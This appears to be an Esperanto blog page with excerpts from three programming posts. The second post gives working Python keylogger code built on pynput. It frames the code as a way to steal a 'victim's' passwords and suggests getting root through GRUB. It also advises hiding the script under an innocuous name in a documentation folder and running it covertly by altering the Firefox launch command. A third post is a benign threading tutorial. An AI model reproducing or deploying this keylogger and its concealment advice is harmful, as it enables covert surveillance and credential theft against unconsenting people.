Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.

Legu plu el Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.

Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.

Unue, oni devas instali la pynput-bibliotekon per...

sudo pip install pynput

Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

La klavaroregistrilo konserviĝas en log_dir. Mi, ĉi-okaze, specifis la dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon compile_docs.py aŭ iun similan, por ne altiri la atenton. Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti, ke ri ne rimarku tion, kion ni faras.

Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu Firefox-on, ni povas modifi la Firefox-komandon. Legu plu el Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Fadenoj en Python

La komputaj fadenoj permesas al ni fari taskojn samtempe. En Python ni povas uzi la modulon threading, sed estas multaj aliaj.

Ni kreos kelkajn simplajn fadenojn (threads).

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import threading
import time
import random

def sleeper(name, s_time):
    print('{} komencita je {}.'.format(
        name, time.strftime('%H:%M:%S', time.gmtime())))

    time.sleep(s_time)

    print('{} finiĝis je {}.'.format(
        name, time.strftime('%H:%M:%S', time.gmtime())))


for i in range(5):
    thread = threading.Thread(target=sleeper, args=(
        str(i + 1) + 'a fadeno', random.randint(1, 9)))

    thread.start()

print('Mi finiĝis, sed la aliaj fadenoj ne.')

Unue ni importis la bezonatajn modulojn: time, random kaj threading. Por krei je threads ni nur bezonas la lastan. Je time ni uzis por simuli takson kaj akiri ĝian tempo de komenco kaj fino; random havigas al nia takso hazardan daŭron.

La funkcio sleeper «dormas» (faras nenion) dum la tempo kiu ni specifas, diras al ni kiam komencis «dormi» kaj kiam finis «dormi». Kiel parametroj ni donas la nomon, kiu ni volas doni al la fadeno, kaj la tempon, dum kiu «dormos» la funkcion.

Poste ni kreas "por"-iteracion, kiu kreas 5 fadenojn, kiuj plenumas la sleeper-funkcion. En la konstruilo (threading.Thread) ni devas diri la funkcion por plenumi (target=sleeper) kaj la parametrojn, kiujn ni volas doni al ĝi (args=('str(i + 1) + 'a fadeno', random.randint(1, 9))).

1a fadeno komencita je 15:17:07.
2a fadeno komencita je 15:17:07.
3a fadeno komencita je 15:17:07.
4a fadeno komencita je 15:17:07.
5a fadeno komencita je 15:17:07.
Mi finiĝis, sed la aliaj fadenoj ne.
3a fadeno finiĝis je 15:17:13.
5a fadeno finiĝis je 15:17:13.
2a fadeno finiĝis je 15:17:14.
4a fadeno finiĝis je 15:17:14.
1a fadeno finiĝis je 15:17:16.

La resulto de la plenumo estas hazarda: ni ne scias kiu fadeno finos unue.